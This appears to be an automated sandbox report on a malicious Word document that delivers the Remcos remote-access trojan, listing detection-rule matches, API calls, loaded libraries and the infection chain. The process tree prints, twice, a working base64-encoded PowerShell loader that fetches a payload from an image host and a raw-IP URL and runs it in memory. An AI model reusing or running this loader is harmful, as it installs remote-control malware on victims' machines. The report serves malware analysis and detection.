                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00412F458_2_00412F45
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00452F008_2_00452F00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00426FAD8_2_00426FAD
                Source: ~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00401F66 appears 50 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004020E7 appears 40 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 004338A5 appears 41 times
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: String function: 00433FB0 appears 55 times
                Source: atthings.doc, type: SAMPLEMatched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPEDMatched rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 author = ditekSHen, description = detects CVE-2017-8759 weaponized RTF documents.
                Source: classification engineClassification label: mal100.rans.troj.spyw.expl.evad.winDOC@8/17@2/3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00416AB7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,8_2_00416AB7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0040E219 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,8_2_0040E219
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041A63F FindResourceA,LoadResource,LockResource,SizeofResource,8_2_0041A63F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_00419BC4
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\Desktop\~$things.docJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-Q9T2QD
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR7CBD.tmpJump to behavior
                Source: ~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp.0.drOLE document summary: title field not present or empty
                Source: ~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp.0.drOLE document summary: author field not present or empty
                Source: ~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp.0.drOLE document summary: edited time not present or 0
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS"
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................T.r.u.e.(.P.....................x........1.........................s............8...............P...............Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeConsole Write: ....................................u.e.(.P.....................x........1.........................s............8...............................Jump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: atthings.docReversingLabs: Detection: 52%
                Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS"
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodesJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"Jump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: shcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                Source: atthings.LNK.0.drLNK file: ..\..\..\..\..\Desktop\atthings.doc
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItemsJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.PdbWriter+b source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000006.00000002.412316088.0000000000990000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmp
                Source: ~WRF{189D8A76-D158-4346-85E4-095DEA834189}.tmp.0.drInitial sample: OLE indicators vbamacros = False

                Data Obfuscation

                barindex
                Suspicious powershell command line found
